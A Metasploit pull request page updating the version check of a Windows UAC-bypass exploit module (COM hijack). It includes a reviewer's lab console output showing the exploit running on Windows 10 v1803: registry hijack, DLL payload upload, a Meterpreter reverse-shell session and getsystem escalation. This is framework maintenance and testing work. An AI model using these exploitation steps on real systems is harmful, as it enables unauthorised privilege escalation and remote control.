Update check comhijack #16268
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Update check comhijack #16268
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smcintyre-r7
approved these changes
Mar 4, 2022
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LGTM. I tested that it still works on WIndows 10 v1803, but properly identifies that v21H2 is not vulnerable. Thanks for the patch @bwatters-r7 !
Testing Output
Windows 10 x64 v1803
msf6 exploit(windows/local/bypassuac_comhijack) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/bypassuac_comhijack) >
msf6 exploit(windows/local/bypassuac_comhijack) > show options
Module options (exploit/windows/local/bypassuac_comhijack):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION -1 yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/bypassuac_comhijack) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_comhijack) > exploit
[-] Handler failed to bind to 192.168.159.128:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Targeting Computer Managment via HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} ...
[*] Uploading payload to C:\Users\SMCINT~1\AppData\Local\Temp\GKelnqRg.dll ...
[*] Executing high integrity process C:\Windows\System32\mmc.exe
[*] Sending stage (200262 bytes) to 192.168.159.91
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.91:51936 ) at 2022-03-04 09:47:51 -0500
[*] Cleaning up registry; this can take some time...
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/bypassuac_comhijack) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.159.128:4444
msf6 exploit(windows/local/bypassuac_comhijack) > check
[*] The target appears to be vulnerable.
msf6 exploit(windows/local/bypassuac_comhijack) > check VERBOSE=true
[*] System OS Detected: Windows 10 (10.0 Build 17134).
[*] Detected build number: 17134
[*] The target appears to be vulnerable.
msf6 exploit(windows/local/bypassuac_comhijack) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: DESKTOP-2OL4COJ\smcintyre
meterpreter > sysinfo
Computer : DESKTOP-2OL4COJ
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
Windows 10 x64 v21H2
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 3...
meterpreter > getuid
Server username: DESKTOP-SRAQBLH\smcintyre
meterpreter > sysinfo
Computer : DESKTOP-SRAQBLH
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 3...
msf6 payload(windows/x64/meterpreter/reverse_tcp) > previous
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_comhijack) > run
[-] Handler failed to bind to 192.168.159.128:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/bypassuac_comhijack) > check
[*] The target is not exploitable.
msf6 exploit(windows/local/bypassuac_comhijack) >
Release NotesThis updates the check method of the |
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Fixes #16216
This improves the check method for
exploit/windows/local/bypassuac_comhijackby verifying build numbers for windows 10 and 2016+ server editions. It also adds the autocheck changes and includes a rubocop cleanup.Testing
use exploit/windows/local/bypassuac_comhijackset session <session>Windows 7
Windows 10 v1809
Windows Server 2019
Windows 10x64 1909